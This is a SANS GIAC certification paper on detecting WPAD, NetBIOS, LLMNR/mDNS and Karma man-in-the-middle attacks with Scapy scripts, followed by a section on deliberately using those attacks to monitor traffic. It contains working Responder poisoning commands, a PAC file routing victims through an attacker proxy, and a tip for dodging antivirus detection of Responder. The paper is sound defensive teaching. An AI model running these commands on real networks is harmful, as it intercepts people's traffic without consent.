GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Network Monitoring and Threat Detection In-Depth (Security 503)"
at http://www.giac.org/registration/gcia

Poaching: Hunting without Permission

GIAC (GCIA) Gold Certification

Author: David E. Switzer, David.E.Switzer@Gmail.com
Advisor: Adam Kliarsky
Accepted: November 24th 2015

Abstract

Security professionals are not always welcomed by various business units or the environment as a whole. While the reasons range from trusting a person outside the group to individual perceptions about information security job functions, the end result is limited or no access to systems and networks. The operational business impact creates a situation where the information security professional has their proverbial hands tied behind their back. What can a security professional do until the human element is resolved? In this paper, we will define hunting as proactively looking for problems in an environment. Poaching is hunting where you are not given permission or access. The paper will discuss various techniques, which can be leveraged with limited, or no access to hunt for intruders. This will be accomplished by analyzing what certain man-in-the-middle attacks look for from victims, simulating the same behavior, and analyzing any responses. We will look at wireless Karma attacks, Web Proxy Auto-Discovery-(WPAD) auto-discovery attacks, and some general host resolution attacks. Then we will show that many of them can be detected simply with regular network connectivity and some Python/Scapy code.

© 2015 SANS Institute, Author retains full rights.

© 2015 The SANS Institute Author retains full rights.

1. Introduction

In the parlance of information security, hunting is proactively searching out a problem. An intrusion detection system (IDS) can miss a 0-day, so proactive and interactive hunting for indicators of compromise (IOCs) can be more productive than simply relying on automated tools. Attackers know how those tools work so they can hide from them. They do not necessarily know how you or your team works, and depending on how hunting is accomplished, an attacker cannot hide forever from some techniques such as regular memory dump and analysis.

Hunting, in most case, requires broad access to the networks and systems that are part of the environment. Root or administrator level access on servers. Administrator level access on workstations. Span ports or other ways to read and analyze the raw network traffic. However, what can be done if that access is not available?

While security teams are becoming commonplace in modern businesses, some environments still lag behind in accepting security's role. The reasons for this can vary from a belief that the role of security is compliance related only to human causes such as regular "office politics". Whatever the actual reason, if a security professional is not granted the access and permission to "hunt", what is the alternative?

Poaching is defined as "the illegal practice of trespassing on another's property to hunt or steal game without the landowner's permission" (dictionary.reference.com, n.d.). This paper will describe ways to detect potential attackers using methods that do not require high level access to systems or networks, and in turn, using some of the same attacks to analyze network and system behavior to detect other indicators of compromise. "Hunting" on a network without "the landowner's permission".

© 2015 The SANS Institute Author retains full rights.

2. Man in the Middle: Detection

2.1. Introduction

In an effort to make technology easier to use, most consumer or end-user devices, such as laptops, cell phones or tablets, will ask the world around them questions and believe the answer that is returned. Laptops ask the network that they are connected to about how to talk to hosts they need to talk to. This may include how to resolve hostnames, how to reach remote servers on the Internet and even what the next hop is on the network.

An unfortunate result of these attempts to make technology easier is that attackers exploit the trust inherent in these communications to their advantage, often to insert themselves in the middle of any communications. This is a "man in the middle attack" (MITM), and is what this paper will focus on.

One benefit of most MITM attacks is they are typically based on a unicast response to a victim who broadcasted a request. This includes MITM attacks aimed at requests for wireless network probes, DNS broadcast requests, NetBIOS service queries, and web proxy configuration requests. This keeps the louder portion of the attack (the actual broadcast request that the attacker listens for) ignorable, as it is expected behavior, and the quieter portion (the response directly to the victim) less noticeable due to it being a unicast response.

As these attacks listen for victims to broadcast a request, the easiest way to detect them is to pretend to be a potential victim, and analyze responses to see if they are indicative of attacks.

Another benefit is to understand how commonly used attacks and attack-frameworks operate, especially how they act under default configurations. Depending on the attacker's skill level and understanding of the attack tool, they may very well leave the default configuration in place that makes them potentially easier to spot.

© 2015 The SANS Institute Author retains full rights.

This paper will review name service poisoners, WPAD attacks and the ever-popular Karma wireless attack, and will use Scapy (Biondi, n.d.), a Python library for working with network packets, to create packets to trigger and detect these attacks.

2.2. WPAD and Name Resolution Attacks: Detection

2.2.1. WPAD: An Introduction

Web Proxy Auto-Discovery (WPAD) is a process that auto-discovers proxy configurations by broadcasting requests for information to a network via several mechanisms and receiving a URL location of a proxy auto-config (PAC) config file to download and implement (Wikipedia.org, n.d.).

The WPAD protocol only defines discovery of the PAC configuration file's location, not the format or use of the file itself. WPAD is defined in an IETF "INTERNET-DRAFT", which expired at the end of 1999, but is still in use by all major browsers and underlying software of some operating systems (Gauthier, Cohen, Dunsmuir and Perkins, 1999).

The WPAD URL can be served via Dynamic Host Configuration Protocol (DHCP) and name resolution via NetBIOS-NS, Link-Local Multicast Name Resolution (LLMNR) and unicast Domain Name System (DNS) resolution. DHCP servers are configured to send a string of "http://domain.com/WPAD.dat" in the site-local option 252 field. The DNS method is created by defining a host called "WPAD" that can be resolved, and the URL is assumed to be located at that address on a web service in the root folder. The auto-discovery behavior is as follows:

1> If supported by the browser/system, send a broadcast DHCP "inform" (Kozierok, 2005) packet to the network and see if an Option-252 response comes back with a WPAD URL. If not:

2> Attempt a standard DNS resolution for "WPAD" (or "WPAD.domain.com"), if resolved, attempt to download a PAC file via an assumed URL of "http://WPAD/wpad.dat". If not:

© 2015 The SANS Institute Author retains full rights.

3> Broadcast a NetBIOS name service request for any host named "WPAD", if a response comes, download the config and use the defined proxy info. (In some cases, if a NetBIOS-NS broadcast fails, an LLMNR broadcast query will be sent.) If not:

4> Ignore any proxy servers and try to reach websites directly.

This provides four chances for an attacker to provide a WPAD.dat configuration that points victims to a malicious proxy server.

Initially, web proxy auto discovery was accomplished by web browsers directly. As of Windows 10, DNS WPAD is supported by Microsoft Internet Explorer 11 and Edge, Mozilla Firefox, Google Chrome and Apple Safari. All of those except Firefox support DHCPINFORM WPAD and IPv6 support. On Mac OSX (as of 10.11.1), DNS WPAD and IPv6 are supported by all three main browsers (Firefox, Chrome and Safari), but not DHCPINFORM WPAD (FindProxyForUrl.com, n.d.).

Later, Microsoft introduced a service called "Windows HTTP Services" (WinHTTP) to handle web traffic for services such as “Windows Update” and the “Background Intelligent Transfer Service” (BITS), which is used to download updates for “Windows Updates” as well as other system components (Microsoft, 2011). WinHTTP 5.1 added WPAD support (Microsoft, n.d.). Now, a simple WPAD attack could affect system updates, and other services beyond web browsing.

The WinHTTP service is set to “manual” for startup, but can be started by other processes or the user, and is needed to be operating for other services such as Simple Service Discovery Protocol (SSDP), Universal Plug and Play (UPnP) and Function Discovery Provider Host (fdPHost) to be operating (ServiceDefaults.com, n.d.). These services are tied to the automated connectivity that users have become accustomed to in their home, and work environments (Hjelmvik, 2012).

2.2.2. WPAD and DHCP Attacks: Attack Detection

To detect possible attacks, we will follow the behavior defined above and attempt to collect a WPAD URL. First, a broadcast DHCPINFORM message is sent, and any responses are checked for a URL in the "option 252" portion of the response.

DHCP:

© 2015 The SANS Institute Author retains full rights.

UDP Src=0.0.0.0 sPort=68

Dest=255.255.255.255 dPort=67

To send the packets, we will use a script called "option252_check.py", a Python/Scapy based script, to send DHCPINFORM broadcasts and display results. Links to the full code is available in the appendix.

One the "attacker" side, we will use "Responder" (SpiderLabs, n.d.) by Laurent Gaffie and SpiderLabs. Responder is a Python based MITM attack framework that does exactly what its name suggests – it responds. It responds to LLMNR, mDNS and NetBIOS-NS requests broadcasted to the network. It will send back "poisoned" responses to these requests, directing the victim to a malicious server.

The example below shows the script running and responses from the expected DHCP server (172.16.78.178), a Responder instance (172.16.78.102), and an "evil" DHCP server (172.16.78.110):

root@fire:~/Desktop/GOLD/code_lock/repo# ./option252_check.py

---

WPAD: DHCP Option 252 spoof/poison attack checker - d.switzer 2015

Sending on eth5

Response from: 06:00:82:00:06:66 172.16.78.102

[('message-type', 5), ('server_id', '172.16.78.102'), ('subnet_mask', '255.255.255.0'), ('domain', 'robeandwizardh.at'), ('router', '172.16.78.42'), ('name_server', '8.8.8.8', '8.8.8.8'), (252, 'http://Responder_EVILWPAD/wpad.dat\\n'), 'end']

Response from: 00:60:6e:d5:90:4a 172.16.78.110

© 2015 The SANS Institute Author retains full rights.

[('message-type', 5), ('server_id', '172.16.78.110'), (252, 'http://DHCPServer_EVILWPAD/wpad.dat'), 'end', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad']

Response from: b8:27:eb:6f:fd:cd 172.16.78.178

[('message-type', 5), ('server_id', '172.16.78.178'), (252, 'http://REAL_DHCPSERVER/wpad.dat'), 'end', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad', 'pad']

While the script does display responses, watching the traffic with tshark, Wireshark or tcpdump can help to understand the interaction better:

tshark -i mon0 -Y "(bootp.option.type == 252)" or

tcpdump –i mon0 src or dst port 68

This shows the output of Responder's DHCP server running, and showing the connection:

root@dapw:~/Responder/tools# ./DHCPmod.py -I "eth1" -r 172.16.78.42 –p 10.0.2.15 -s 8.8.8.8 -n 255.255.255.0 -d "robeandwizardh.at" -w "http://Responder_EVILWPAD/WPAD.dat"

###

DHCP INFORM TAKEOVER 0.2

Use `RespondTo` setting in Responder.conf for in-scope targets only.##

###

[*] Listening for events...

© 2015 The SANS Institute Author retains full rights.

[DHCP] Acknowledged DHCP Inform for IP: 172.16.78.42, Req IP: 0.0.0.0, MAC: 66:30:3A:37:36:3A Tid: 0x00000000

2.2.3. WPAD and NetBIOS-NS Attacks: Attack Detection

To detect NBNS spoofing, we will send out broadcast NetBIOS NS broadcast messages to attempt to gain a URL response for WPAD and then send out NetBIOS NS lookups for randomized host names. The secondary randomized-host packets are added to try to detect general NetBIOS NS poisoning attacks.

To send the packets, we will use a script called nbns_check.py, a Python/Scapy based script, to send DHCPINFORM broadcasts and display results. Links to the full source code is available in the appendix. The example shows a response from 172.16.78.109 for both "WPAD" and the randomized host name. While this example does show responses, watching the traffic with tshark, Wireshark or tcpdump can help understand the interaction:

tshark -i eth0 -Y "nbns" or **tcpdump –I eth0 src or dst port 137**

Here is an example of the code running, and Responder returning a "poison" response for both "WPAD" and the randomized hostname:

root@fire:~/Desktop/GOLD/code_lock/repo# ./nbns_check.py

--

NBNS spoof/poison attack checker - d.switzer 2015

--

Sending on eth5

--

Checking for WPAD via NBNS broadcast..

--

06:00:82:00:06:66 172.16.78.109

--

© 2015 The SANS Institute Author retains full rights.

[(<Ether dst=ff:ff:ff:ff:ff:ff type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=255.255.255.255 |<UDP sport=netbios_ns dport=netbios_ns |<NBNSQueryRequest QUESTION_NAME='WPAD' SUFFIX=file server service QUESTION_TYPE=NB |>>>>, <Ether dst=f0:76:1c:e0:08:25 src=06:00:82:00:06:66 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=90 id=40181 flags=DF frag=0L ttl=64 proto=udp chksum=0xa8e5 src=172.16.78.109 dst=172.16.78.42 options=[] |<UDP sport=netbios_ns dport=netbios_ns len=70 chksum=0x490e |<NBNSQueryRequest NAME_TRN_ID=0 FLAGS=34048 QDCOUNT=0 ANCOUNT=1 NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='WPAD ' SUFFIX=file server service NULL=0 QUESTION_TYPE=NB QUESTION_CLASS=INTERNET |<Raw load='\x00\x00\x00\xa5\x00\x06\x00\x00\xac\x10Nm' |>>>>>)]

Checking for random (mniwuutpgzwlxfsx) hostname via NBNS broadcast..

06:00:82:00:06:66 172.16.78.109

[(<Ether dst=ff:ff:ff:ff:ff:ff type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=255.255.255.255 |<UDP sport=netbios_ns dport=netbios_ns |<NBNSQueryRequest QUESTION_NAME='mniwuutpgzwlxfsx' SUFFIX=file server service QUESTION_TYPE=NB |>>>>, <Ether dst=f0:76:1c:e0:08:25 src=06:00:82:00:06:66 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=90 id=40209 flags=DF frag=0L ttl=64 proto=udp chksum=0xa8c9 src=172.16.78.109 dst=172.16.78.42 options=[] |<UDP sport=netbios_ns dport=netbios_ns len=70 chksum=0xe6d2 |<NBNSQueryRequest NAME_TRN_ID=0 FLAGS=34048 QDCOUNT=0 ANCOUNT=1 NSCOUNT=0 ARCOUNT=0 QUESTION_NAME='mniwuutpgzwlxfs' SUFFIX=file server service NULL=0 QUESTION_TYPE=NB QUESTION_CLASS=INTERNET |<Raw load='\x00\x00\x00\xa5\x00\x06\x00\x00\xac\x10Nm' |>>>>>)]

© 2015 The SANS Institute Author retains full rights.

root@fire:~/Desktop/GOLD/code_lock/repo#

Below is the output from the Responder instance, responding to the NBNS requests shown above:

[+] Listening for events...

[*] [NBT-NS] Poisoned answer sent to 172.16.78.42 for name WPAD (service: File Server)

[FINGER] OS Version : Unix

[FINGER] Client Version : Samba 4.1.6-Ubuntu

[*] [NBT-NS] Poisoned answer sent to 172.16.78.42 for name mniwuutpgzwlxfs (service: File Server)

[FINGER] OS Version : Unix

[FINGER] Client Version : Samba 4.1.6-Ubuntu

2.2.4. WPAD and LLMNR/mDNS Attacks: Attack Detection

Link Local Multicast Name Resolution (LLMNR), the follow-up to NBT-NS, and multicast-DNS (mDNS) both attempt to provide name resolution and, by extension, a level of service discovery. The target of these technologies are smaller networks, such as home networks, but as the operating systems that implement these technologies are used across both home and business environments, they are potentially active in most networks.

Intended for localized name resolution only, LLMNR operates on link-scope multicast addresses in order to stop LLMNR packets from propagating across routers causing confusion and potential network floods (Aboba, Thaler & Esibov, 2007). This concept is similar to the ideas behind "private" IP space as described in RFC-1918.

LLMNR:

IPv4 - 224.0.0.252, MAC address of 01-00-5E-00-00-FC

IPv6 - FF02:::1:3, MAC address of 33-33-00-01-00-03

© 2015 The SANS Institute Author retains full rights.

UDP port 5355 - on unicast address used for responses

mDNS, as defined by RFC-6762, was created to implement a newer peer-to-peer, broadcast based name resolution system, primarily for use in smaller networks (Cheshire & Krochmal, 2013). RFC-6762 adds the concept of the ".local" top-level domain, which is analogous to the link-local address space described in RFC-3927 (Cheshire, Aboba, & Guttman, 2005).

Home users do not typically configure their own name-resolution servers, so mDNS allows them to configure their end-user devices with names on the ".local" Top Level Domain (TLD) (Aleksandersen, 2015). This defined behavior occurs regardless of how the search query received the ".local" TLD, whether the user explicitly entered it, or the operating system added ".local" to an unqualified domain name via the search list. The ".local" TLD could appear in the search list via manual configuration, received via DHCP or any other method of configuring the DNS search list.

The RFC states that any address that ends in ".local" must be sent to the mDNS link-local multicast addresses for IPv4 and/or IPv6. The RFC allows the implementers to choose to look up the names concurrently with other mechanisms, such as standard unicast DNS (Vanstechelman, n.d.). This also attempts to keep mDNS packets to the local network by using link-local multicast addresses, similar to LLMNR.

mDNS:

MAC address 01:00:5E:00:00:FB (for IPv4) or 33:33:00:00:00:FB (for IPv6)

IPv4 address 224.0.0.251 or IPv6 address FF02::FB – UDP Port 5353

While WPAD attempts do not use mDNS, it is nearly identical to LLMNR and is often attacked as well. Responder supports MITM attacks for mDNS as well.

To send the packets, we will use a script called llmnr_mdns_check.py, a Python/Scapy based script to send LLMNR and mDNS broadcasts for WPAD as well as a randomized host name and display responses. Links to full source code is available in the appendix. While the does show responses, watching the traffic with tshark, Wireshark or tcpdump can help understand the interaction:

***tshark –i eth0 –Y "dns and udp.port eq 5353 or udp.port eq 5355 and ***

© 2015 The SANS Institute Author retains full rights.

ip.addr eq 224.0.0.0/24" *or*

tcpdump –I eth0 dst port 5353 or dst port 5355 and dst net 224.0.0.0/24

The example below shows a Responder instance responding to LLMNR and mDNS resolution for "WPAD" and a randomized hostname:

root@fire:~/Desktop/GOLD/code_lock/repo# ./llmnr_mdns_check.py

--

LLMNR/mDNS poison/attack checker - d.switzer 2015

--

Sending on eth5

--

Sending LLMNR request for wpad ..

--

Response from: 06:00:82:00:06:66 172.16.78.109

--

[(<Ether dst=01:00:5E:00:00:FC src=f0:76:1c:e0:08:25 type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=224.0.0.252 |<UDP sport=hostmon dport=hostmon |<LLMNRQuery id=61781L qr=0 opcode=QUERY qdcount=1 qd=<DNSQR qname='wpad' qtype=A |> |>>>>, <Ether dst=f0:76:1c:e0:08:25 src=06:00:82:00:06:66 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=70 id=1250 flags=DF frag=0L ttl=64 proto=udp chksum=0x410d src=172.16.78.109 dst=172.16.78.42 options=[] |<UDP sport=hostmon dport=hostmon len=50 chksum=0xc34d |<LLMNRQuery id=61781 qr=1L opcode=QUERY c=0L tc=0L z=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname='wpad.' qtype=A qclass=IN |> an=<DNSRR rrname='wpad.' type=A rclass=IN ttl=30 rdata='172.16.78.109' |> ns=None ar=None |>>>>)]

--

© 2015 The SANS Institute Author retains full rights.

Sending LLMNR request for random host (rjmnbstnnvgrclft) ..

Response from: 06:00:82:00:06:66 172.16.78.109

[(<Ether dst=01:00:5E:00:00:FC src=f0:76:1c:e0:08:25 type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=224.0.0.252 |<UDP sport=hostmon dport=hostmon |<LLMNRQuery id=61781L qr=0 opcode=QUERY qdcount=1 qd=<DNSQR qname='rjmnbstnnvgrclft' qtype=A |> |>>>>, <Ether dst=f0:76:1c:e0:08:25 src=06:00:82:00:06:66 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=94 id=1280 flags=DF frag=0L ttl=64 proto=udp chksum=0x40d7 src=172.16.78.109 dst=172.16.78.42 options=[] |<UDP sport=hostmon dport=hostmon len=74 chksum=0x4c22 |<LLMNRQuery id=61781 qr=1L opcode=QUERY c=0L tc=0L z=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname='rjmnbstnnvgrclft.' qtype=A qclass=IN |> an=<DNSRR rrname='rjmnbstnnvgrclft.' type=A rclass=IN ttl=30 rdata='172.16.78.109' |> ns=None ar=None |>>>>)]

Sending mDNS request for wpad..

[<Ether dst=01:00:5E:00:00:FB src=f0:76:1c:e0:08:25 type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=224.0.0.251 |<UDP sport=mdns dport=mdns |<DNS id=61781L qr=0 opcode=QUERY qdcount=1 qd=<DNSQR qname='wpad' qtype=A |> |>>>>]

Sending mDNS request for random host (rfwwadgufviublgj) ..

[<Ether dst=01:00:5E:00:00:FB src=f0:76:1c:e0:08:25 type=0x800 |<IP frag=0 proto=udp src=172.16.78.42 dst=224.0.0.251 |<UDP sport=mdns

© 2015 The SANS Institute Author retains full rights.

dport=mdns |<DNS id=61781L qr=0 opcode=QUERY qdcount=1 qd=<DNSQR qname='rfwwadgufviublgj' qtype=A |> |>>>>]

root@fire:~/Desktop/GOLD/code_lock/repo#

Below is the Responder instance responding to the requests:

[*] [LLMNR] Poisoned answer sent to 172.16.78.42 for name wpad

[FINGER] OS Version : Unix

[FINGER] Client Version : Samba 4.1.6-Ubuntu

[*] [LLMNR] Poisoned answer sent to 172.16.78.42 for name rjmnbstnnvgrclft

[FINGER] OS Version : Unix

[FINGER] Client Version : Samba 4.1.6-Ubuntu

[*] [MDNS] Poisoned answer sent to 172.16.78.42 for name wpad.

[*] [MDNS] Poisoned answer sent to 172.16.78.42 for name rfwwadgufviublgj.

2.2.5. WPAD and Name Resolution Attacks: Attack Mitigation

Determine if your environment or network requires WPAD support, and disable it if not.

Create a DNS record to point any requests for a "WPAD" host to somewhere innocuous. Similarly, have a host that will be resolved via NetBIOS-NS for the name "WPAD". Also, consider implementing a web server that could deliver a "WPAD.dat" file to any clients requesting it, even if it is just to configure browsers to go directly to web sites, avoiding proxies all together. Alternatively, send an Option 252 response with a value of "\n", which is essentially an empty answer. These will not eliminate the chance for a successful attack, but may lower the success rate.

© 2015 The SANS Institute Author retains full rights.

Also, keep the DNS domain search list as short as possible to reduce the chance of an accidental match to a system outside of your control that may deliver a malicious WPAD.dat URL.

2.3. Karma Attacks: Detection

2.3.1. Karma Attacks: An introduction

"Karma" is the commonly used name for Wi-Fi based attacks that attempt to trick a wireless device to connect to a malicious access point. Wireless devices broadcast a "Request Probe" packet to ask the world around it if any configured networks are available. If an access point (AP) detects the broadcast packet and it serves the requested network, it sends a "Request Response", saying, "yes, connect to me". "Karma" attacks are just attempts to say, "Yes, I serve that network, connect to me" regardless of the network requested. This could be responding to a client before a legitimate response is received, or responding to a client on behalf of a network that does not exist.

These attacks were made commonplace initially by Dino Dia Zovi as a set of patches for the "madwifi" drivers used in Linux, which he named "Karma" (Dia Zovi, n.d.). These patches were ported to "madwifi-ng" by Robin Wood, who later migrated the concept to hostapd, a software access point daemon for Linux (Wood, n.d.). Wood later demonstrated the code running on an inexpensive router that was initially used in a shared-wifi business model. He named this version, "Jasagar", a German word that roughly translates to "The Yes Man", referencing the fact that the software says "yes" to any probe requests.

As a joke, one of these routers running "Jasager" was mounted with a battery inside of a plastic novelty pineapple by Darren Kitchen of Hak5, and the "Wi-Fi Pineapple" was born (Kitchen, n.d.). While it was initially considered a novelty, public interests lead to Kitchen selling the devices online. As of 2015, Hak5 is up to the 5th incarnation, the "Pineapple Mark5".

While the software involved could be run via a laptop (and still can), the Wifi Pineapple garnered attention of the press for various reasons, the main one being that it

© 2015 The SANS Institute Author retains full rights.

took an attack that required some level of skill and somewhat automated it via a relatively inexpensive device. The commercial product lowered the required skill level down tremendously, and the press saw it as a danger lurking behind every coffee shop's free wifi.

2.3.2. Karma Attacks: Attack Detection

The most straightforward method to detect a Karma attack is to pretend to be a client asking for a network that does not exist. To increase the trustworthiness of the results, instead of just asking for random networks via a real device, we will simulate requests coming from fake devices of differing types.

The script used for testing is “karma_check.py”, a Python/Scapy based script that loops through a list of MAC addresses and sends a probe request with a randomized ESSID sourced from each MAC address. The ESSID sent is 32 bytes long, the mac length for an ESSID, in order to make it more unlikely that it will match a legitimate ESSID. MACs included will identify the attempts as originating from phones built by various manufacturers, such as Apple, Google, Samsung and Motorola.

While multiple MAC addresses are used to simulate different devices from different manufacturers, the fourth bit will be the channel used, and the last two bits will be a static “marker” ("62:82" in the example). The “marker” at the end makes it easier to search for the test packets while listening to a busy network.

If the channel of the suspected attacker is not known, you can change the channel setting on your wireless device and check them all. Included in the appendix is a link to “channel_hopper.sh”, a simple BASH script for Linux, which will loop through a defined set of channels and execute the “karma_check.py” script on each. Watching Wireshark or tshark on a monitor interface will show responses, if any, to these probes.

Partial output from “karma_check.py”:

ProbeReq:SSID=[odtebypvovmefbuskwsrjdhqxlgyodbj]|src=[38:AA:3C:10:62:82]|count=1

ProbeReq:SSID=[xifeffaocsedrdvpbcrhcijsxqiifzhz]|src=[68:AE:20:10:62:82]|count=1

© 2015 The SANS Institute Author retains full rights.

ProbeReq:SSID=[xvutezdqkpbglcbkqkahlwwxjjqpsfer]|src=[F0:CB:A1:10:62:82]|count=1

ProbeReq:SSID=[nmudqxucoohfnbyiqywmguwunyvxnpsy]|src=[70:3E:AC:10:62:82]|count=1

ProbeReq:SSID=[usjhpvccvjakgsarytnnxlxywvwnwpep]|src=[20:A2:E4:10:62:82]|count=1

In a secondary window, run:

***tshark -i mon0 -Y "wlan.fc.type_subtype==4 or ***

wlan.fc.type_subtype==5 && wlan.addr contains 62:82"

This will show 802.11 frames with a subtype of 4 (Probe Request) or 5 (Probe Request Response), and limit the output to lines containing "62:82". Now watch for responses:

11203 56.389783 20:a2:e4:10:62:82 -> Broadcast 802.11 93 Probe Request, SN=0, FN=0, Flags=........, SSID=usjhpvccvjakgsarytnnxlxywvwnwpep

11204 56.392953 OrientPo_a5:13:be -> 20:a2:e4:10:62:82 802.11 220 Probe Response, SN=590, FN=0, Flags=.....C, BI=100, SSID=usjhpvccvjakgsarytnnxlxywvwnwpep

11205 56.394677 OrientPo_a5:13:be -> 20:a2:e4:10:62:82 802.11 220 Probe Response, SN=590, FN=0, Flags=....R...C, BI=100, SSID=usjhpvccvjakgsarytnnxlxywvwnwpep

11206 56.396489 OrientPo_a5:13:be -> 20:a2:e4:10:62:82 802.11 220 Probe Response, SN=590, FN=0, Flags=....R...C, BI=100, SSID=usjhpvccvjakgsarytnnxlxywvwnwpep

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

The logs from a Wi-Fi Pineapple MK5 are below, showing it detecting and responding to the probe requests:

Nov 11 21:28:23 Probe Request from 38:aa:3c:10:62:82 for SSID 'odtebypvovmefbuskwsrjdhqxlgyodbj'

Nov 11 21:28:23 Probe Request from f0:cb:a1:10:62:82 for SSID 'xvutezdqkpbglcbkqkahlwwxjjqpsfer'

Nov 11 21:28:24 Probe Request from 70:3e:ac:10:62:82 for SSID 'nmudqxucoohfnbyiqywmguwunyvxnpsy'

Nov 11 21:28:24 Probe Request from 20:a2:e4:10:62:82 for SSID 'usjhpvccvjakgsarytnnxlxywvwnwpep'

2.3.3. Karma Attacks: Attack Mitigation

The surest method of limiting the impact of this attack is to enforce a rule of VPN usage for all users. If enterprise users become accustomed to always connecting to their business environment via a VPN, it becomes second nature, regardless of their location or reason for using a VPN. And if a user is connected to a Karma AP, and connect solely through a VPN, either a connectivity issue on the AP will cause the VPN connection to fail, or their connection will be encrypted thus providing little to no benefit to attackers.

3. Man in the Middle: (ab)Use

3.1. Introduction

In the previous section, we reviewed several common man in the middle attacks, how they work, some ways to try to detect them, and some ways to try to mitigate the problem in the first place. MITM attacks are valuable in how they allow an attacker to view, or even shape traffic - and this section will discuss ways to use some of these attacks to provide the ability to detect some other problems.

With this section, it should be re-enforced that permission should be granted to you in some way before attempting anything here, whether that is from your direct management if you are an internal employee or in writing by your point of contact if you are in a consulting role. It is also recommended to review the company's privacy policies

© 2015 The SANS Institute Author retains full rights.

with your management or point of contact, especially any dictated by HR, as the results of this section could be constituting employee monitoring.

3.2. WPAD and Name Resolution Attacks: (ab)Use

In section 2.2 of this paper, we reviewed the concepts behind Web Proxy Auto Discovery Protocol (WPAD) man in the middle attacks, how to detect them and how to mitigate them. In 3.2, we will use what we have learned, and use this attack to our advantage to monitor web traffic for potential problems. On modern Windows systems, WPAD is potentially a fantastic attack, based on the direct browser support, or that the WinHTTP system that supports Windows Updates supports WPAD.

In section 2.2, the MITM framework "Responder" by Laurent Gaffie and SpiderLabs was used to test detection methods. It will be used again here to attack systems and provide a customized PAC file that will direct the systems to use a proxy server we control. This will allow us to analyze the web traffic for potential problems.

One suggestion while using "Responder": Unless needed, do not enable any authentication requests in "Responder", such as LM downgrades or forcing WPAD authentication. The challenge/response communication is where many systems detect "Responder", such as Symantec Endpoint Protection (SEP), specifically on the "known challenge key" of 1122334455667788 (Symantec Corp, n.d.). If the authentication collection is needed for another test or attack, then alter the challenge key via a command line argument to "Responder", or alter the key in the Responder.conf file.

3.2.1. WPAD and Name Resolution Attacks: Responder configuration

To cover replying to WPAD requests, aside from Responder and a PAC configuration file, we will need a web server and a web-proxy server. Responder's DHCP.py tool (under Responder/tools) can provide a WPAD URL for DHCPINFORM based requests:

© 2015 The SANS Institute Author retains full rights.

root@padw:/usr/local/src/Responder/tools# ./DHCPmod.py -I eth1 -r 172.16.78.1 -p 8.8.8.8 -s 8.8.8.8 -d robeandwizardh.at -w "http://172.16.78.42/wpad.dat" –R

(172.16.78.1 = Router Address, 172.16.78.42 = Attacker address)

Responder's main program (Responder.py) can respond to the LLMNR and NetBIOS based requests. It is recommended to not start the wpad proxy (the –w option) and use a separate web daemon. This allows you to serve any additional files needed alongside of the WPAD.DAT file. To turn off the HTTP services in Responder, edit the Responder.conf file and change the options "HTTP" and "HTTPS" to OFF.

root@padw:/usr/local/src/Responder# ./Responder.py –I eth1 –F –f –v

3.2.2. WPAD and Name Resolution Attacks: Web server configuration

Deciding on what web-server program to use should be based on what else you may need to serve besides the wpad.dat file. Full-fledged services such as Apache or NGINX can be used, especially if any other web traffic processing (responding to any requests dynamically, etc.) is required. If serving this and a few other files is the only need, an easier method is to use the Python "SimpleHTTPServer" functionality.

While a simple web service can be started with "python –m SimpleHTTPServer 80", the wpad.dat file needs to be served with the "x-ns-proxy-autoconfig" file type, so slightly more coding is required. Included is a script called "simple_http_wpad.py", which binds to port 80 on 0.0.0.0 by default, and accepts a command line option for what port to bind to. Here are the pertinent lines of the script, available in full in the appendix:

```
my_handler = SimpleHTTPServer.SimpleHTTPRequestHandler
my_handler.extensions_map.update({
 '.dat': 'application/x-ns-proxy-autoconfig','.pac': 'application/x-ns-proxy-autoconfig' });
httpd = SocketServer.TCPServer(("", PORT), my_handler)
```


© 2015 The SANS Institute Author retains full rights.

Now a simple wpad.dat file that will only direct what appears to be traffic that is outbound to the internet through your proxy:

```
function FindProxyForURL(url, host) {
// Try to catch any sites that are local to this domain/company/target:
   if (dnsDomainIs(host, ".intranet.local.com") ||
      shExpMatch(host, "(*.localdomain.com|localdomain.com)"))
      return "DIRECT";
// Catch any hosts that are on private (RFC-1918) IP space, as they will be local
   if (isPlainHostName(host) ||
      shExpMatch(host, "*.local") ||
      isInNet(dnsResolve(host), "10.0.0.0", "255.0.0.0") ||
      isInNet(dnsResolve(host), "172.16.0.0",  "255.240.0.0") ||
      isInNet(dnsResolve(host), "192.168.0.0",  "255.255.0.0") ||
      isInNet(dnsResolve(host), "127.0.0.0", "255.255.255.0"))
      return "DIRECT";
// This is the final rule: everything that hasn't been already matched will
// match this rule.  The proxy should be the attacker's machine:
    return "PROXY 172.16.78.42:8080";
```

3.2.3. WPAD and DHCP, LLMNR and NetBIOS: Web Proxy Configuration

Similar to the web daemon, the proxy server selection should be based on functionality and capacity requirements. A full-fledged proxy servers such as Squid or Apache configured into a reverse-proxy mode can be used, or more simple proxy servers are available coded in nearly any language you may prefer. A well-supported mid-range proxy is “tinyproxy” which is available on most Linux systems via the package-install

© 2015 The SANS Institute Author retains full rights.

system and OpenWRT based systems as well. It has a small footprint, yet allows for some customization via its very "Apache-like" configuration file.

